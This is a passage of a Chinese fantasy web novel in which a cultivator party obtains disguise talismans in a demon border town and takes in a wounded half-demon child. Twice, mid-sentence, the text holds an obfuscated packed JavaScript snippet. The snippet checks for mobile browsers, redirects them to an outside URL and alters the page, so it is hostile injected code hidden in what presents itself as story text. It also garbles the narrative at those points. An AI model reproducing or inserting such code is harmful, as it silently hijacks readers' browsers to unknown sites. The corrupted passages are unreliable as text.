古琴被唐思月拨响,随着琴音,明青持剑而起,回挂提剑而起势,两人对视一眼,唐思月十指翻飞,奏起了当初在周天山上为央玉弹过的那首曲子。 琴音由轻缓逐渐变为急促,明青一开始还游刃有余,但渐渐的,她的剑法越来越快,动作也很少再有大开大合,剑身翻转,紧擦着身体划过,两手交替,深流在她的挥舞下只余残影,后弯腰,跨步,空中侧翻,她的身法快到让人无法仔细看清,可云修泽看到了她紧抿的双唇和长发掩映下滑落的汗珠。 同样的一支曲子,央玉和明青舞出了完全不同的感觉,央玉很是悠闲,完全就是在自娱自乐,明青则更加认真,身影翻飞,动作略微有些急促,这已经是他们行路这段日子来,她第三次请唐思月奏这支曲子了。 五人现在正处在白界附近,再有差不多半天的路程,他们就可以进入白界。 大约十几年前,镜双子的风头正盛之时,妖族还分布于各个地方,不知为何爆发了一场人与妖的战争,原本不是你死就是我亡的境况,由于天竹一脉祭身天道而出现了转变,妖族被驱赶到了佘渊,佘渊的气候复杂,土地辽阔无边,足以让众多妖族生存。 后来就渐渐的形成了一个不成文的规矩,妖族不得踏出佘渊,人族亦不可进入,若是违背,一旦暴露,是杀是剐,捏扁揉搓,无论你是什么身份,都将一概而论。 而白界是个特殊的地方,它处在佘渊的边界,只有这里,人和妖才会同时出现,但同时这里也是鱼龙混杂,除了每次大比会出现人族的青年才俊之外,平日里会在这里出现的人类,不是穷凶极恶之徒,就是要钱不要命的家伙。 离大比开始还有一段日子,几人想要混入佘渊打听在唐府得到的内丹的事情,就必须伪装成妖,身上必须有妖气,而只有白界能够搞到可以伪装出妖气的东西,是以几人商讨过后,便先来到了这里。 琴音渐停,明青反手收剑,胸口起伏略微急促,身上有很多细微的血痕,正如她第一次和云修泽交手,留在云修泽身上的一样,这是被她自己的剑气所伤。 当初在周天山上,云修泽感受到的扫荡而过的灵力并不只是央玉的,还有一部分来自于唐思月。 两人不是在玩乐,而是以一种极具观赏性的方式打了一架,唐思月的灵力随着音波打出去,央玉再以舞剑的方式将近身的音波打碎,只不过唐思月的灵力在央玉的光芒下变得不那么显眼罢了。 可明青注意到了这一点,她师承央玉,又十分渴望变强,自然也对这种切磋方式产生了兴趣,按理说唐思月的实力不足以在切磋中让她负伤,可她们的切磋方式是由唐思月单方面进攻,明青自守,因而在快速的音波下,明青无可避免的伤到了自己。 唐思月第一次为她弹这支曲子时,节奏放慢了不少,明青知道她是为了自己着想,可还是事后找到她,希望她能弹奏与当时一样的曲子,唐思月没说什么,第二次弹时,节奏加快了不少。 明青比上一次有了进步,却还是有些应接不暇,这便是第三次了,节奏已经与当初一般无二,可不论是曲调还是曲风都有了些细微的变化。 明青和唐思月一舞一奏,剩下的三人便在不碍手的地方看着她们,此时一舞毕,还是云修云最先捧场,他眼睛亮亮的凑到明青身边,称赞道。 “明青姐,你好厉害啊!曲子那么快,你竟然一处都没有落下,全都接了下来!” 明青正在平复呼吸,站在原地,不知在想些什么,听到云修云的话,幅度极小的勾了勾嘴角,拍拍他的肩膀,然后走到了唐思月身边。 “怎么曲子变了?” 唐思月已经抱着古琴站起来了,她的手在明青的一处伤口附近轻轻碰了碰,安慰她说道。 “你与你师傅不同,这支更适合你。” 明青一言不发,盯着自己手上的伤口,唐思月知道她在想什么,微微歪了歪头,语气轻缓柔和。 “他既能成为你的师傅,就说明在你们的道上,他就是你身前的领路人,我相信,有一天你一定能超越他,但不是现在,他年岁长你许多,在你这个年纪,他也许还没你强,你不要心急。” 明青点点头,顺着她的力道伸手让她抹药。 云修泽三人凑过来,五人围成一堆,云修泽看看几人,说道。 “明日我们进到白界,你们记住,妖族不比人族,他们更加残忍真实,弱肉强食就是唯一的准则,在佘渊,最具话语权的一共有四大妖族。” 他随手从地上捡了几块石子一子摆开。 “白女狐、爻池仙、九乙木、雾面影,这四族,在大比之时我们也许会对上,但在此之前,尽量不要招惹他们,多一事不如少一事。” 见几人点头,他勾勾唇角,接着说道。 “今日我准备独自去往白界一探。” 明青:“理由?” “我知道有一种妖能帮我们,但他们都隐藏的深,我先去找找,一个人也更方便行动。” “我跟你一起。” 云修泽笑着看了看她这一身的伤口,虽然没有说什么,但明青知道他的意思,开口说。 “这个不影响我行动。” 云修泽摇了摇头,实事求是。 “你灵力和精力都损耗了许多,若是跟我快速赶路,只怕我还得停下来等你调息,你放心,我会尽力在丑时前回来。” 明青知道他说的是对的,于是也不再开口,云修泽站起身,用手扫下了衣袍上粘上的草屑,见他这就准备离开,云修云皱着眉,不无担忧的叮嘱。 “万事小心。” 云修泽笑了笑,转身几个起落间就不见了踪影。 云修泽在山野间跳跃奔袭,越靠近白界地方越荒凉,他在白界附近换上了一身不起眼的衣服,戴上了一张青鬼面具,神不知鬼不觉的混入到了其中。 他要找的是一种名为三鬼的妖,他们身量矮小,三个头三种表情,擅于藏匿和画符,可本身较为弱小,画出的符威力也有限,所以极难寻找。 不过白界出现后它们就全都留在了在这里,盖因它们的一种特殊天赋,经他们的手画出的符咒妖气森然,可以模拟不同种族的气息,因此在白界倒是有了立足之地,求得了各方庇护。 “哦——!!!” “狐女大人!!!!!” “看我!!!哦!!!狐女大人!!!” 街上忽然热闹起来,两侧都挨挨挤挤的堆满了人和妖,攒动不止。 云修泽在后方不起眼的地方,看着中央一辆印着狐狸纹样的车架驶过,白纱层层叠叠,隐约透露出了中间一个斜靠的曼妙身影。 这明显就是大妖白女狐族中的嫡系子弟,街边有几个不怕死的高声出言调戏,也没见那个身影如何动作,一条长鞭就从层层白纱中歘的抽了出来,一阵破空声后,刚刚叫的最欢的一只妖怪就已经被抽倒在地,伤口深可见骨,口中不断涌出黑色的鲜血,身体不断抽搐,不一会儿就没了动静,可妖群就像没看见一样,依然叫喊不断。 云修泽冷眼相看,手掌宽厚有力,冷不丁的抓住了一个正从他身边挤过的小妖怪。 他身体未动,双眼向下看去,眼中的冷淡还未散去,倒是颇有几分唬人。 小妖怪的手从他的玉佩上离开,顺人财物被抓了也不害怕,反而咧嘴冲他一笑,云修泽的手刚刚放松一点,他就不知使了什么法子,像个滑不溜手的泥鳅一样抽身溜走,竟然转眼就失去了踪迹。 云修泽也没为难他,那个小妖怪明显是个流浪的半妖,身上脏兮兮的,右眼是尖锐的竖瞳,左眼则是人类的圆瞳,只是看不出是什么的混血。 在白界,这种孩子不会太少,半妖不被妖族和人族容纳,唯有白界尚可容身。 云修泽整理了一下脸上的面具,隐匿在妖群中穿梭,步法古怪,看上去竟有几分央玉和明青的影子。 云修泽虽然尽力不引起注意,可还是有对气息敏感的妖发现了他,他的身姿挺拔,气质如竹,显然就不是常年混在这里的老油条一类,自然有不少喜食人类的妖把他当成了软柿子要来捏上一捏。 可他们都打错了这个算盘,云修泽虽然对上央玉会落下风,但央玉是谁,那是明青的师傅,是自创轻功身法的鬼才,是天下第一谷昆天谷的司命,云修泽再如何天纵奇才,在上一代顶层人物面前也还是会有青涩,时间带来的沉淀和距离是无法轻易逾越的。 但若让云修泽对上这里的各路妖怪,则大多数都是杀之如割草,来一个送一个,来一双送一双。 云修泽干脆就一路打一路问,当又一次在一个小巷里抓住了偷袭他的小妖时,终于被他逼问到了三鬼的下落。 被掐着命脉,顶着一张奇怪的脸的小妖瑟瑟发抖,显然还在期盼云修泽履行问完就放他走的约定。 云修泽微微一笑,手上却毫不留情的收紧,看他的肉身灰飞烟灭,只留下了一颗气息浑浊的妖丹。 笑话,一只以人为食的恶妖,竟然相信被他当成食物的人族会遵守这种诺言。 云修泽甩了甩手,小巷幽深,妖气森然,墙上的阴影仿佛活过来一样,扭曲舞动,好像马上就要择人而噬,云修泽神态自若,仿佛不曾感受到这里令人不安的气息,不慌不忙,一步步走向了更深处。 三鬼开了一个小店,专门跟需要伪装气息的人族和妖族做生意,他画的符可以模拟不同妖族的气息,甚至人族的灵力也可以模仿,就是因为这个,本体弱小的他们曾经狐假虎威吓走过不少敌人。 他的店并不好找,云修泽照着那个小妖的话找了一阵也没找到,最后还是又抓了几个路过的问了问才算找到。 云修泽掀开破破烂烂的帘子,几个黑煤球成精一样的小东西就开始疯了一样四处蹦哒,吱哇乱叫。 “人——客一位!!!!” “哒啦啦——找到三鬼头上,你算是找对鬼了啊啊!!!!” “欢迎欢迎——!!!三鬼出品,人妖不欺!!!” 它们的声音尖锐刺耳,生怕方圆一里内有人不知道三鬼有客上门。 云修泽单手一掐,抓住了一个舞到他面前的黑煤球,冷森森的说。 “闭嘴。” 几个煤球霎时间安静了,一动不动仿佛是假的一般。 云修泽松开手,黑煤球掉到地上发出‘啪叽’的声响,弹了几下后滚到角落不动了。 云修泽往店里走去,仿佛不经意一样踩中了一个黑煤球,黑煤球登时被他踩得啪叽作响,云修泽面具下的嘴角恶劣的勾起,黑煤球敢怒不敢言,装死装的十分之逼真。 三鬼名为鬼,实则是一种妖,可他的地盘儿却更贴近于他的名字,显得鬼气森森。 “贵客——” 一个干枯的带着奇怪笑意的声音出现,云修泽寻声看去,三鬼就出现在了阴影处,点燃了那里的烛台,烛火将他照亮,三颗头分别对应喜怒哀,此时正是喜面对着他。 “贵客上门,有失远迎,不知贵客想要点什么?” 云修泽拿出一个袋子放在旁边的托盘上,里面都是刚刚自己送上门来的妖怪的妖丹,有几个品相颇为不错。 “五张妖符,三张青鬼,两张白女狐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973129|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 那托盘在被放上袋子的下一瞬就被三鬼招去了手边,本来喜面正在乐滋滋的查看里面的内丹,听到青鬼时还好好的,可听到白女狐直接就是一个翻脸,怒面瞪着眼睛转过来,头上青筋暴起,妖气扭曲着向云修泽扑来,声音尖锐刺耳。 “什么!!!两张白女狐!!!这么几个内丹,谁给你的胆子跟你三鬼爷爷开这个口!!!!莫不是来送死的不成!!!!!!” 他一边说着一边将那袋儿内丹揣了起来,妖气逼近,眼看着就要将他吞噬,云修泽周身的灵力却突然爆发出来,三两下就将三鬼的妖气驱了个一干二净。 褚闲出鞘,还没等三鬼看清他如何动作,云修泽的剑尖就已经指在了怒面眼睛的极近处。 “想死你就直说,三鬼不止你一个,何苦如此挑衅我?” 三鬼背顶着墙,被他的灵力压的动也动不了,嘴角抖动,张张合合,最后咬着牙吼道。 “你若杀了我,我身后的大妖也不会让你好过!!!!!” “哦?” 褚闲的剑尖轻轻转动,威胁之意十分明显。 “你大可试试。” 眼见着威胁不管用,三鬼又马上变回了喜面,笑的一脸讨好。 “哎呦!!您说说这叫个什么事,和气生财,和气生财,咱们不必打打杀杀,不就是白女狐的符嘛,好商量,嘿嘿,好商量......” 云修泽的灵力慢慢的收了回去,喜面试探的一点点往外挪,看他没有追上来的意思,就连忙跟他拉开了距离。 云修泽收剑回鞘,撇了一眼地上一直在装死的黑煤球,嗤笑道。 “物肖主人,倒是都挺识趣。” 三鬼哪里听不出来他是在嘲讽自己,可这人的灵力十分之强大,就算他现在摇人也不可能马上就赶过来,最大的可能就是他先死在这个杀神手里。 他说的没错,三鬼不止自己一个,那些妖也不可能为了已经死掉的自己去得罪这样一个高手,于是也只能打落牙齿和血咽,好歹还给了点儿内丹,不算白嫖。 “现在画,我会盯着你,别想耍什么花招。” 三鬼招惹不起他,只能认命的开始画符。 他画符的时候居然是拿刚刚那几个黑煤球做墨,朱红色的笔在它们身上戳了戳开始画符,就像是跳大神一样,整个妖都手舞足蹈的,嘴里还叨念着奇怪的词。 云修泽敏锐的察觉到,每当他落笔的时候,天地间游离的妖气和他自身的妖气好像就会零零星星的顺着他的笔尖,汇入到符中,整个过程都散发着一种特殊的气息。 真是奇怪的种族天赋。 前三张青鬼画的还算顺利,画最后两张白女狐时,云修泽能明显感觉到他开始有些力不从心,每一笔都落得很吃力,看来越是强大的种族越不容易被模仿。 五张符全部画完时,三鬼已经变得十分虚弱,哀面哭丧着脸将符朝他用力丢来,脆弱的符纸变得锋利,云修泽却没费什么力气就接住了它们,符纸血红,上面的墨迹看着杂乱无章,倒真是名副其实的鬼画符。 确认无误后,云修泽也没再为难他,举步离开了这里。 就在他刚刚踏出店面的那一瞬间,整个小店所在的空间就好像扭曲了一下,再一个眨眼就消失不见了,只留下了一片空地,仿佛从来没有那么一家店在这里存在过一样。 怪不得这种妖那么弱却还能活到现在,他们逃跑和唬人的能力倒是不错。 带着五张符,云修泽心情不错的准备赶回去,两张白女狐只是他的临时起意,他原本计划要五张最普遍和不起眼的青鬼,可来的路上看到了狐族,想起两个姑娘的姿容,鬼使神差的就要了两张白女狐。 不过队伍中有两个高身份的也好,唬妖是够用了,至于他们三个,还是老老实实的当跟班吧。 他加快了脚步,三鬼保不准会找人报复追踪,还是尽快离开的好。 “唔......救救...我......” 一道微弱的求救声传来,云修泽停下脚步,心生警惕,开始四处查看,最后在一个拐角处发现了一个浑身是伤的小孩子。 他趴在那里,脏兮兮的小手颤抖着朝云修泽的方向伸来,气息很微弱,身上有不少鞭痕,不知遭遇了什么,此时已经没有力气再站起来了,只能狼狈的趴在那里,抱着微弱的希望,向路过的不知是好是坏的人或妖求救。 云修泽走近了些,发现竟是个认识的面孔,正是之前想要顺他玉佩的那个半妖。 小妖怪也认出了他,原本还带了点希望的眼神瞬间就暗了下去,显然不认为他会救自己。 云修泽抱着剑,在不远处看着小妖怪收回手缩成一团,心中觉得有些好笑,走近两步想要发发善心,却突然在他身上发现了白女狐族的追踪术。 云修泽顿时停下了脚步,面色沉了沉。 看来他是刚刚从白女狐族的手中逃出来,算是有点儿本事,但不知道这个半妖哪里得罪了他们,被伤成这样几乎是等死的状态下,竟还没有放弃继续追踪。 看着气息越来越微弱的小妖怪,云修泽的眼神重新变得冷淡,转身刚刚走了几步,又停了下来,折回来给他放了一点儿吃的和被抹去了气息的伤药。 微弱的动静惊到了惶恐不安的小妖怪,他抬起头,看到了眼前也许能救他一命的东西,脑子还没反应过来,手就已经先一步将食物快速的抓到了嘴边,狼吞虎咽的吃了下去。 他趴在地上狼狈的吞咽着食物,眼睛透过脏乱的头发缝隙,看到了云修泽离去的背影,右眼尖锐的竖瞳缩成了一条极细的线。 26. 协济二 眼见时间临近丑时,云修泽疾驰不停,可其实时间尚可,剩下的距离他只稍快一些就是,实不必如此赶路,可他现在心里乱糟糟的,有些气闷,却不知自己在生什么气,只能运起轻功飞快的往回赶去。 原本还算柔和的晚风变得凌厉,不断的在云修泽耳畔划过,像是钝刀子一样刺痛了他的皮肤,可他心中冷然,速度丝毫未减。 火焰的光是可以触摸到的温暖,当云修泽停下脚步时,忽然对这句话有了更深刻的认识。 明青四人并未睡下,反而围在火堆前轻声交谈着,火堆旁还架着被树枝串起来的吃的,零散的火星偶尔会发出‘噼啪’的声响。 暗夜笼罩整片大地,月亮和星星都没有出现,可这小小的火堆好像有种神奇的力量,将这小小的一隅与天地隔开,成了独立的‘桃园’。 云修泽能听见唐思月轻轻的笑声,也可以听见云修云说话时清亮而有朝气的声音,只有很少的时候,他才能听见行愿或者明青简短的应答。 四个人中明明有两个人都不爱说话,可气氛看起来就是十分和谐融洽,让人只是在旁边单单的看着,就会觉得四肢都慢慢变得温暖起来。 云修泽的乱腾腾的心倏然就变得安静,他向火光走去,脸上不自觉带了些微微的笑意。 “聊什么呢?” 明青和他对视一眼,上下看了看他,云修云腾出一个位置拉他坐下,唐思月笑道。 “我们本来在聊那四大妖族,聊着聊着就聊到明青以前救过的一只小灰狐狸身上了。” 云修泽挑眉:“你救的?” 明青点头:“那时候还没那么毒。” 云修泽觉得她说话可爱,捂着脸笑了两声后,越想越停不下来,干脆双手遮上了眉眼,拄着腿低头不停的闷笑。 明青被他笑的有些莫名其妙,心中感觉怪怪的,几度张嘴却不知道该说什么。 云修泽自己笑够了,吐了一口气平复自己的呼息。 “你只是救了它?没有养?” 明青抿嘴不言,见云修泽一副打算凑过来的样子,为了避免旧日情景重现,还是冷着脸回答了他的问题。 “我想养,也给它取了名字,它不怕我,可是我去求师时,将它放在家里让人照看,它却自己离开了。” 虽然她的表情和语气没有变化,可说到最后,云修泽还是能感觉到她有些沮丧。 “它也许回家了。” “希望如此吧。” 云修泽低头从怀里将五张符拿出,说道。 “好了,我来说个好消息吧,我这次去不仅找到了要找的地方,还拿到了能帮我们伪装出妖气的符咒,你们不用再跑一趟白界了,我们可以直接去佘渊。” 云修云将五张符拿到手里来回翻看,有些惊喜的说。 “太好了,这样省事多了,哦,这符画的真丑。” 云修云向来是最捧场的那个,他一说话,气氛顿时轻松了许多,见他来回摆弄,分不大清的样子,云修泽上手帮他理了一下,说道。 “三张青鬼,两张白女狐,怎么样?” 云修云将两张白女狐的挑出来递给了明青和唐思月。 “不错诶,听说白女狐族姿貌皆是上佳,无人不为之动心,很适合她们两个。” 唐思月闻言莞尔一笑,火光映在她没有一点瑕疵的脸庞上,莫说云修云红了脸,就连云修泽都恍惚了一瞬。 她的美是侵蚀人心的美,云修泽反而会担心她的姿容在白女狐族中都过分夺目。 他又转眼去看明青,她们两个不同,明青的气质冷然,本身上挑的眼尾带来的却是疏离感,比起白女狐族,另一种同样以美貌闻名的鲛人族也许更适合她,但可惜的是水妖很少在陆上行动,为了避免引起不必要的关注,云修泽还是放弃了这个选择。 “你回来的时候心情不好,遇见什么事儿了吗?”明青突然开口。 说实在的,云修泽没想到她会察觉到这个,心中不自觉出现了一丝微妙的喜意,想了想才明白自己在高兴什么。 啊,她会注意我。 云修泽坐直了身体,想到那个小妖怪,眼睛暗了一瞬,还是佯装无事的笑道。 “没有啊,很顺利。” 云修云朝唐思月的方向靠近了些,挡着嘴小声跟她耳语。 “他笑的有点儿傻。” 唐思月捂着嘴无声的笑了笑,眼神滑向他身后,云修云心中暗道不妙,身体一顿一顿的向后转,果不其然看到了云修泽露出了那种在他犯事儿后才会露出的和善的笑容。 “哈哈......哥...我说我自己呢......” 话音刚落,还没等云修泽说什么,他就以迅雷不及掩耳之势起身爬到了一旁的树上,陪笑喊道。 “那什么,你们继续,我在这儿听!” 唐思月被他逗得出声笑起来,肩膀一抖一抖的,云修泽也颇有些哭笑不得,摇摇头没再管他,明青没有被干扰,仍然专注的看着云修泽,问道。 “所以你并不是因为遇见了什么事情才改变了原来的计划?” 云修泽愣了愣,感觉有点儿不对劲儿:“嗯...对啊。” 明青双眼微眯。 “所以你原来的计划就是独自去白界拿这些符?” 唐思月也回过神来了,轻轻挑了挑眉,看来所谓的明日一起到白界也只是哄他们放心让他独自前去罢了。 云修泽有点心虚,但还是嘴硬道。 “没有,只是碰巧有机会拿到罢了。” 明青看着他没有说话,行愿一直在摆弄在火堆前煨烤的吃的,此时差不多都好了,于是拿出两个巧碟分别弄了些放到了唐思月和明青面前,往云修泽面前戳了一串儿示意他自取,还不忘给树上的云修云扔了一串儿。 唐思月觉得有些好笑,端着碟子站起身,碰了碰行愿的肩膀示意让他也起来,又走到树前拍了拍树干让云修云下来,冲云修泽和明青笑道。 “你们慢慢聊,不过夜深了,我们要去休息了,你们也注意时辰。” 说完,她就带着行愿和云修云离开了这里。 三人的离开让云修泽意识到这事儿有点儿难办,一时间,两人谁都没有说话,云修泽逐渐开始有点坐立难安。 “真的是碰巧,意外的很顺利,我也没想到。” 明青还是没说话,木头已经燃烧的差不多了,火光变得有些暗,两人在沉默中对视良久,最后明青垂下眼,拨弄了两下火堆,让它彻底熄灭,端着盘子起身说道。 “夜深了,睡吧。” 她干脆地离开,云修泽本以为还要接受盘问,根本没想到她会是这个反应,倒还不如说他两句。 看着她的背影,云修泽拿起行愿戳在他面前的树枝,喃喃自语,说道。 “我想我应该是睡不着了。” 他果然没有睡着,只能在云修云爬的那棵树下打坐调息了一夜。 第二日的天气十分也十分不给面子,阴云满布,远处的天空还时不时传来闷雷的轰响。 行愿收拾好了行李放到马车后面,云修泽和云修云翻身上马,握着缰绳踱步到马车旁边准备上路,明青却突然撩开车窗的帘子,对云修泽说道。 “这里临近白界和佘渊,比较容易发生意外,还是烦请你独自断后,为我们保驾护航。” 说完她就将帘子放下了,云修泽愣愣地看着还微微摆动的帘子,没想到她会来这么一出。 她还在生气,并且想要借此溜溜他。 云修泽无奈的意识到。 云修云骑着追云哒哒的绕过来,拍了拍他的肩膀以示同情,然后就跟着马车上路了,只留云修泽一个人在原地孤零零的看他们离去。 说是让他断后,但其实根本没有等他的意思,仗着云修泽和云修云能够感应彼此的方位,直接用了全速将他远远的甩在后面。 唐思月放下窗帘,后方已经彻底看不到云修泽的身影了,她笑着揶揄明青,道。 “哪有道侣不吵架的呢,你说是吧?” 明青抱着深流淡淡的反驳。 “不是道侣,也没有吵架。” 唐思月耸了耸肩,无所谓她怎么掩饰。 “这里危险是真的,可对我们几个,主要是你们,危险性可不大,你说是让他断后,可却让他孤零零的一个人赶路,既然不是单纯的吵架,那么我想你应该有你的用意。” 安静了一会儿,明青放松了些坐直的身体,将深流拿下来,平放到腿上,抚摸着剑鞘上的名字,和她说道。 “他太习惯一个人行动了,不是吗?” 唐思月深以为然。 “这可不是一个好习惯。” “剑就像我们的半身,能够如臂使指正是因为我们彼此熟悉和信任。” 唐思月明白她的意思,坐近了些,将手搭在她的胳膊上。 “会有那一天的。” 明青冲她轻轻笑了笑。 “咴——!!!” 马车突然一个晃停,明青手疾眼快揽住了差点摔倒的唐思月,云修云在外面拍了拍窗沿。 “你们没事儿吧?!” 行愿控制好了马儿,转头低声说了一句失礼后撩开了车帘,见两人都好好的才放下心来。 明青皱着眉问:“怎么了?” 听声音,云修云似乎骑着追云往前走了几步,他说。 “有个小孩儿突然出现在路中间,差点儿被马儿们踩到了。” 明青和唐思月都下了马车,绕到前面一看,果然是个浑身是伤的小孩子,他颤抖不止,浑身都脏兮兮的。 唐思月本来想靠近一些,却被明青拦了下来,她顿了顿,在原地温和的问道。 “孩子,你怎么了?你父母呢?是走散了吗?” 那个小孩儿团成一团趴在路中央,听到有人问话,颤颤巍巍的说。 “...我是......孤...儿......” 唐思月和明青都带着面纱,小孩儿看不清她们的样子,可他抬头看来的举动却让几人看清了他的眼睛。 唐思月垂眸,小声说道:“半妖,身上还被下了追踪术。” 明青看了他一会儿,开口问:“你为什么在这儿?” 巧合吗? 小妖怪似乎已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977533|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有力气说话了,过了很久才发出一点气声。 “...有坏人......抓我...” 他的伤势很重,这伤放在一个成年人身上都说不好会要了命,他露出来的手腕和脚腕都纤细见骨,足以说明他的身体是多么的孱弱单薄,这样他竟然都撑了下来。 作为半妖,他平日里过的恐怕也不算太好,明青不知道他是哪里来的这么强的求生欲。 云修云小声说:“有可能是诈,有人或妖可以顺着他身上的追踪术找到我们。” 明青知道这一点,但她还是忍不住动了恻隐之心,很奇怪的是,这个弱小的小妖怪让她想到了离家在外的哥哥,这个比喻并不合适,她的哥哥并不弱小,可她不知道他现在过得怎么样,是否也如同这个小妖怪一般深陷困境,艰难挣扎。 “想活吗?”明青问。 小妖怪咬着牙,似乎用尽了全身的力气。 “......想......” 他挣扎着,往明青这个方向挪了挪,布满红血丝的眼睛里充满了渴望。 “求您......姐姐...救我......” 很多很多年后,明青依然会想起这个瞬间,她永远无法忘记这个孩子的眼神,那种对生的渴望,令人敬畏。 * 天空终于还是下起了蒙蒙的小雨,纤细密集的雨丝让前进的道路变得如同下了薄雾一般模糊不清。 云修泽带上斗笠,安抚了一下身下的踏风,心中有些苦闷,也只是驱策它加快前行。 云修泽本以为要追上一段时间,可没过太久,他就在一处废弃的庙宇外看见了他们的马车。 云修泽驾马上前,摘下斗笠,施了个小法术弄干了身上的水气,一边说一边往庙里走。 “你们怎么样?没事......” 庙里,一个令他分外眼熟的小妖怪蜷成一团,在干净的被褥上酣然入睡,明青四人则十分自然的在一旁整理东西。 云修泽站在原地,缓缓将褚闲拔了出来,平静的问。 “这是怎么回事?” 几人不明白他为什么是这样的反应,云修云走到他近前和他解释。 “路上遇见的,是个半妖,小孩子也没什么威胁,就帮了帮他。” 云修云把他拉到一边。 “思月刚刚帮他上了药让他睡下,你小声些。” 云修泽收剑回鞘:“谁留下的?” “我。”明青出声说。 云修泽看着她说道。 “我见过他,就在白界,他当时就已经浑身是伤了,我给他留了些吃的和伤药,也许正是那些,支撑他见到了你们。” 明青默不作声,云修泽继续说道。 “他身上有追踪术,白女狐族的,我们现在还没有必要和白女狐族对上。” 明青看他,说道:“我知道追踪术,已经在想办法破解了,修法之人修心,若是动心,便顺心而走,我不愿让他成为我的心结,我愿为此一搏。” 云修泽转头看向剩下的三人,他们也都点了点头表示几个人都是一样的想法。 “修心......” 云修泽低声重复她的话,若严格说起来,他修炼至今,还未曾因自己的‘心’而做过什么,他的‘心’就是静心打坐,沉心悟道,用心听师父讲各种剑招身法。 他并不觉得这有什么不对,事实上,他也很成功的走到了今天这一步,超越了绝大部分人。 可若单纯的因为恻隐之心去做一件本可以不做的困难的事情,从未有过。 他并不是没有遇到过,事实上,云修泽偶尔还能想起那些事情,但在长久的时间里,它们已经被他渐渐的缩小,对他而言就成为了抹不掉,但是存在似乎也并没有什么妨碍的回忆。 他本以为这次也是一样,没想到兜兜转转,竟有了些转机。 云修泽失笑,在明青身边坐下,认真的和她道歉。 “是我的错,我不该瞒着你们,独自一人完成这个事情,我只是觉得自己一个人行动更加方便,事情也简单,自保应该没什么问题,但没有考虑过你们的感受,我真的错了,下次一定跟你们商量好不好?” 明青眨眨眼,没有说话。 云修泽皱着鼻子笑起来,可怜兮兮的冲她讨饶。 “我知道我们明姑娘最好了,大人不记小人过,放我回来吧~” 云修泽这般卖乖才让明青眼波流转间有了些和缓。 “好吧,只此一次。” 云修泽马上接话发誓:“再无下次!” “太好了!就是嘛,遇见事情我们就是要好好交流才对!” 云修云高兴的就像是他结束了冷战一般,唐思月也笑起来。 “云修云说的对,是该如此。” 云修云听见她的话,眼眸动了动,不知想到了什么。 雨声依然绵密细微,天色也并未好转,可几人在一起说说笑笑,倒是让云修泽觉得这雨不再像刚才一般压的人气短了,心中卸下了一个担子,不知以后会如何,这个决定是否是正确的,但他很珍惜此时的心情和朋友,再没有比这更好的了。 27. 协济三 云修泽站在门口,伸手去接飘摇的细雨,雨水很快将他的手掌打湿,天色依然昏沉,让人无法依此辨认具体的时辰,他将手收回来甩了甩。 “我们不能在这里久留。” 几人都明白,很快便收拾好了东西,云修泽三人带上斗笠,将明青、唐思月和那个小妖怪送上了马车。 雨幕中,几人沉默无声的继续赶路。 他们马不停蹄的走了一天,直到第二日傍晚才停下来找了个还算隐蔽的地方过夜休息。 云修泽接过唐思月给他递的一碗汤,吹了吹问道。 “小妖怪还在睡吗?” 见唐思月点头,他微微皱起了眉头。 “你给他用的药里有安神作用的吗?” 唐思月也正奇怪:“我只给他的外伤用了药,里面也并没有包含安神效果的,他不应该睡那么久。” “嗯......”云修泽沉吟片刻,加快速度囫囵吞枣的把东西吃下去,站起来说。 “我去看看他。” 说罢,他就走到马车前甩开衣袍钻了进去。 小妖怪几乎全身都被包扎过了,看不出一块儿好肉,看起来也已经被清洗过了,他们虽然见了几次,但这是他第一次看清他的脸。 大概只有十二三岁的样子吧,脸上的稚气未消,可五官长得都很好看,不难想象他长大后的风采,此时闭着双眼安静睡着的样子,让人不忍心打搅他的美梦。 “嘿!怎么样?他是不是长得还挺可爱的?” 云修泽抬头,云修云正趴在车窗那里和他说话,云修泽使了个眼色示意他一边玩去,云修云无所谓的撇了撇嘴,放下帘子离开了。 云修泽重新将目光放回小妖怪身上,手指在腿上轻点了几下,突然开口说道。 “别装了,我知道你醒了。” 话音刚落,本来看起来睡得很熟的小妖怪就瑟缩了下身体,小心的睁开了双眼。 “我......对不...起...我只是害怕......” 他看起来的确很害怕,身体不断细微的抖动着,十分惹人怜爱。 云修泽轻轻歪了歪头:“你想要偷我玉佩的时候,胆子可大的很。” 小妖怪深深埋下了头,蹭到了马车的角落蜷缩起来,蹑蹑的发出了点声音。 “...我......我......” 云修泽并没有执着他的答案,眼神冷了冷,无声的抽出一把短匕抵上他的脖子,靠近他用气声问道。 “你跟着我来的?你有什么目的?” 小妖怪似乎被他吓坏了,疯狂的摇着头,手脚都不知所措的来回摆动,撞到马车上发出了不小的声响,连头发都因为他大幅度的扭动被短匕削断了一些,云修泽连忙将短匕收起来,警觉得和他拉开了些距离。 “我不是!我没有!!我只是想活下去!!!” 小妖怪突然崩溃的哭喊起来,明青四人听到声音赶过来,掀开了帘子就看到了小妖怪似乎被逼到无路可走的模样。 他立马察觉到了他们的到来,手脚并用,慌乱的爬到车头,小心的抓住了明青的一片衣角,蜷缩在她身边发出细微的、像是小猫一般的哭声。 “呜呜呜......姐姐...你要相信我......我没有、我没有...呜呜呜...我没......我只是想...想活下去......呜呜呜...” 